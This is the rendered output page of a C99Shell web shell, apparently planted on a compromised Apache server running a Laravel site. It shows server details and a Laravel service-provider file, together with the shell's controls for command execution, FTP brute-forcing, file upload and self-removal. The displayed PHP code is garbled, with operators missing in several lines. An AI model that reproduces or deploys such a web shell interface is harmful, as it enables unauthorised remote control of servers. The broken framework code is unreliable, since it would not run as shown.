!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/laravel/framework/src/Illuminate/Foundation/Providers/   drwxrwxrwx
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FoundationServiceProvider.php (2.24 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Foundation\Providers;

use 
Illuminate\Http\Request;
use 
Illuminate\Support\AggregateServiceProvider;
use 
Illuminate\Support\Facades\URL;
use 
Illuminate\Testing\ParallelTestingServiceProvider;
use 
Illuminate\Validation\ValidationException;

class 
FoundationServiceProvider extends AggregateServiceProvider
{
    
/**
     * The provider class names.
     *
     * @var string[]
     */
    
protected $providers = [
        
FormRequestServiceProvider::class,
        
ParallelTestingServiceProvider::class,
    ];

    
/**
     * Boot the service provider.
     *
     * @return void
     */
    
public function boot()
    {
        if (
$this->app->runningInConsole()) {
            
$this->publishes([
                
__DIR__.'/../Exceptions/views' => $this->app->resourcePath('views/errors/'),
            ], 
'laravel-errors');
        }
    }

    
/**
     * Register the service provider.
     *
     * @return void
     */
    
public function register()
    {
        
parent::register();

        
$this->registerRequestValidation();
        
$this->registerRequestSignatureValidation();
    }

    
/**
     * Register the "validate" macro on the request.
     *
     * @return void
     *
     * @throws \Illuminate\Validation\ValidationException
     */
    
public function registerRequestValidation()
    {
        
Request::macro('validate', function (array $rules, ...$params) {
            return 
validator()->validate($this->all(), $rules, ...$params);
        });

        
Request::macro('validateWithBag', function (string $errorBag, array $rules, ...$params) {
            try {
                return 
$this->validate($rules, ...$params);
            } catch (
ValidationException $e) {
                
$e->errorBag $errorBag;

                throw 
$e;
            }
        });
    }

    
/**
     * Register the "hasValidSignature" macro on the request.
     *
     * @return void
     */
    
public function registerRequestSignatureValidation()
    {
        
Request::macro('hasValidSignature', function ($absolute true) {
            return 
URL::hasValidSignature($this$absolute);
        });

        
Request::macro('hasValidRelativeSignature', function () {
            return 
URL::hasValidSignature($this$absolute false);
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--